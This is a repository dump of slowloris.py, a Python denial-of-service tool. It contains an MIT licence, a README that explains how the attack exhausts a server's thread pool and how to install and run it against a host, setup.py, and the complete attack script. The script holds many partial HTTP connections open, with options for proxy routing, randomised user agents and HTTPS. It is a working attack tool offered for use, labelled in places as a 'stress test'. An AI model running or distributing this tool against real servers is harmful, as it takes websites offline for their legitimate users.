├── LICENSE ├── MANIFEST.in ├── README.md ├── setup.py └── slowloris.py /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015 Gökberk Yaltıraklı 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in 11 | all copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 19 | THE SOFTWARE. 20 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include LICENSE README.md 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # slowloris.py - Simple slowloris in Python 2 | 3 | ## What is Slowloris? 4 | Slowloris is basically an HTTP Denial of Service attack that affects threaded servers. It works like this: 5 | 6 | 1. We start making lots of HTTP requests. 7 | 2. We send headers periodically (every ~15 seconds) to keep the connections open. 8 | 3. We never close the connection unless the server does so. If the server closes a connection, we create a new one keep doing the same thing. 9 | 10 | This exhausts the servers thread pool and the server can't reply to other people. 11 | 12 | ## Citation 13 | 14 | If you found this work useful, please cite it as 15 | 16 | ```bibtex 17 | @article{gkbrkslowloris, 18 | title = "Slowloris", 19 | author = "Gokberk Yaltirakli", 20 | journal = "github.com", 21 | year = "2015", 22 | url = "https://github.com/gkbrk/slowloris" 23 | } 24 | ``` 25 | 26 | ## How to install and run? 27 | 28 | You can clone the git repo or install using **pip**. Here's how you run it. 29 | 30 | * `sudo pip3 install slowloris` 31 | * `slowloris example.com` 32 | 33 | That's all it takes to install and run slowloris.py. 34 | 35 | If you want to clone using git instead of pip, here's how you do it. 36 | 37 | * `git clone https://github.com/gkbrk/slowloris.git` 38 | * `cd slowloris` 39 | * `python3 slowloris.py example.com` 40 | 41 | ### SOCKS5 proxy support 42 | 43 | However, if you plan on using the `-x` option in order to use a SOCKS5 proxy for connecting instead of a direct connection over your IP address, you will need to install the `PySocks` library (or any other implementation of the `socks` library) as well. [`PySocks`](https://github.com/Anorov/PySocks) is a fork from [`SocksiPy`](http://socksipy.sourceforge.net/) by GitHub user @Anorov and can easily be installed by adding `PySocks` to the `pip` command above or running it again like so: 44 | 45 | * `sudo pip3 install PySocks` 46 | 47 | You can then use the `-x` option to activate SOCKS5 support and the `--proxy-host` and `--proxy-port` option to specify the SOCKS5 proxy host and its port, if they are different from the standard `127.0.0.1:8080`. 48 | 49 | ## Configuration options 50 | It is possible to modify the behaviour of slowloris with command-line 51 | arguments. In order to get an up-to-date help document, just run 52 | `slowloris -h`. 53 | 54 | * -p, --port 55 | * * Port of webserver, usually 80 56 | * -s, --sockets 57 | * * Number of sockets to use in the test 58 | * -v, --verbose 59 | * * Increases logging (output on terminal) 60 | * -ua, --randuseragents 61 | * * Randomizes user-agents with each request 62 | * -x, --useproxy 63 | * * Use a SOCKS5 proxy for connecting 64 | * --https 65 | * * Use HTTPS for the requests 66 | * --sleeptime 67 | * * Time to sleep between each header sent 68 | 69 | ## License 70 | The code is licensed under the MIT License. 71 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from distutils.core import setup 2 | 3 | setup( 4 | name="Slowloris", 5 | py_modules=["slowloris"], 6 | entry_points={"console_scripts": ["slowloris=slowloris:main"]}, 7 | version="0.2.6", 8 | description="Low bandwidth DoS tool. Slowloris rewrite in Python.", 9 | author="Gokberk Yaltirakli", 10 | author_email="opensource@gkbrk.com", 11 | url="https://github.com/gkbrk/slowloris", 12 | keywords=["dos", "http", "slowloris"], 13 | license="MIT", 14 | ) 15 | -------------------------------------------------------------------------------- /slowloris.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import argparse 3 | import logging 4 | import random 5 | import socket 6 | import sys 7 | import time 8 | 9 | parser = argparse.ArgumentParser( 10 | description="Slowloris, low bandwidth stress test tool for websites" 11 | ) 12 | parser.add_argument("host", nargs="?", help="Host to perform stress test on") 13 | parser.add_argument( 14 | "-p", "--port", default=80, help="Port of webserver, usually 80", type=int 15 | ) 16 | parser.add_argument( 17 | "-s", 18 | "--sockets", 19 | default=150, 20 | help="Number of sockets to use in the test", 21 | type=int, 22 | ) 23 | parser.add_argument( 24 | "-v", 25 | "--verbose", 26 | dest="verbose", 27 | action="store_true", 28 | help="Increases logging", 29 | ) 30 | parser.add_argument( 31 | "-ua", 32 | "--randuseragents", 33 | dest="randuseragent", 34 | action="store_true", 35 | help="Randomizes user-agents with each request", 36 | ) 37 | parser.add_argument( 38 | "-x", 39 | "--useproxy", 40 | dest="useproxy", 41 | action="store_true", 42 | help="Use a SOCKS5 proxy for connecting", 43 | ) 44 | parser.add_argument( 45 | "--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host" 46 | ) 47 | parser.add_argument( 48 | "--proxy-port", default="8080", help="SOCKS5 proxy port", type=int 49 | ) 50 | parser.add_argument( 51 | "--https", 52 | dest="https", 53 | action="store_true", 54 | help="Use HTTPS for the requests", 55 | ) 56 | parser.add_argument( 57 | "--sleeptime", 58 | dest="sleeptime", 59 | default=15, 60 | type=int, 61 | help="Time to sleep between each header sent.", 62 | ) 63 | parser.set_defaults(verbose=False) 64 | parser.set_defaults(randuseragent=False) 65 | parser.set_defaults(useproxy=False) 66 | parser.set_defaults(https=False) 67 | args = parser.parse_args() 68 | 69 | if len(sys.argv) <= 1: 70 | parser.print_help() 71 | sys.exit(1) 72 | 73 | if not args.host: 74 | print("Host required!") 75 | parser.print_help() 76 | sys.exit(1) 77 | 78 | if args.useproxy: 79 | # Tries to import to external "socks" library 80 | # and monkey patches socket.socket to connect over 81 | # the proxy by default 82 | try: 83 | import socks 84 | 85 | socks.setdefaultproxy( 86 | socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port 87 | ) 88 | socket.socket = socks.socksocket 89 | logging.info("Using SOCKS5 proxy for connecting...") 90 | except ImportError: 91 | logging.error("Socks Proxy Library Not Available!") 92 | sys.exit(1) 93 | 94 | logging.basicConfig( 95 | format="[%(asctime)s] %(message)s", 96 | datefmt="%d-%m-%Y %H:%M:%S", 97 | level=logging.DEBUG if args.verbose else logging.INFO, 98 | ) 99 | 100 | 101 | def send_line(self, line): 102 | line = f"{line}\r\n" 103 | self.send(line.encode("utf-8")) 104 | 105 | 106 | def send_header(self, name, value): 107 | self.send_line(f"{name}: {value}") 108 | 109 | 110 | if args.https: 111 | logging.info("Importing ssl module") 112 | import ssl 113 | 114 | setattr(ssl.SSLSocket, "send_line", send_line) 115 | setattr(ssl.SSLSocket, "send_header", send_header) 116 | 117 | list_of_sockets = [] 118 | user_agents = [ 119 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 120 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", 121 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50", 122 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0", 123 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 124 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", 125 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", 126 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14", 127 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50", 128 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393", 129 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 130 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", 131 | "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 132 | "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", 133 | "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", 134 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 135 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", 136 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 137 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", 138 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", 139 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", 140 | "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0", 141 | "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 142 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", 143 | "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0", 144 | ] 145 | 146 | setattr(socket.socket, "send_line", send_line) 147 | setattr(socket.socket, "send_header", send_header) 148 | 149 | 150 | def init_socket(ip: str): 151 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 152 | s.settimeout(4) 153 | 154 | if args.https: 155 | ctx = ssl.create_default_context() 156 | ctx.check_hostname = False 157 | ctx.verify_mode = ssl.CERT_NONE 158 | s = ctx.wrap_socket(s, server_hostname=args.host) 159 | 160 | s.connect((ip, args.port)) 161 | 162 | s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1") 163 | 164 | ua = user_agents[0] 165 | if args.randuseragent: 166 | ua = random.choice(user_agents) 167 | 168 | s.send_header("User-Agent", ua) 169 | s.send_header("Accept-language", "en-US,en,q=0.5") 170 | return s 171 | 172 | 173 | def slowloris_iteration(): 174 | logging.info("Sending keep-alive headers...") 175 | logging.info("Socket count: %s", len(list_of_sockets)) 176 | 177 | # Try to send a header line to each socket 178 | for s in list(list_of_sockets): 179 | try: 180 | s.send_header("X-a", random.randint(1, 5000)) 181 | except socket.error: 182 | list_of_sockets.remove(s) 183 | 184 | # Some of the sockets may have been closed due to errors or timeouts. 185 | # Re-create new sockets to replace them until we reach the desired number. 186 | 187 | diff = args.sockets - len(list_of_sockets) 188 | if diff <= 0: 189 | return 190 | 191 | logging.info("Creating %s new sockets...", diff) 192 | for _ in range(diff): 193 | try: 194 | s = init_socket(args.host) 195 | if not s: 196 | continue 197 | list_of_sockets.append(s) 198 | except socket.error as e: 199 | logging.debug("Failed to create new socket: %s", e) 200 | break 201 | 202 | 203 | def main(): 204 | ip = args.host 205 | socket_count = args.sockets 206 | logging.info("Attacking %s with %s sockets.", ip, socket_count) 207 | 208 | logging.info("Creating sockets...") 209 | for _ in range(socket_count): 210 | try: 211 | logging.debug("Creating socket nr %s", _) 212 | s = init_socket(ip) 213 | except socket.error as e: 214 | logging.debug(e) 215 | break 216 | list_of_sockets.append(s) 217 | 218 | while True: 219 | try: 220 | slowloris_iteration() 221 | except (KeyboardInterrupt, SystemExit): 222 | logging.info("Stopping Slowloris") 223 | break 224 | except Exception as e: 225 | logging.debug("Error in Slowloris iteration: %s", e) 226 | logging.debug("Sleeping for %d seconds", args.sleeptime) 227 | time.sleep(args.sleeptime) 228 | 229 | 230 | if __name__ == "__main__": 231 | main() 232 | --------------------------------------------------------------------------------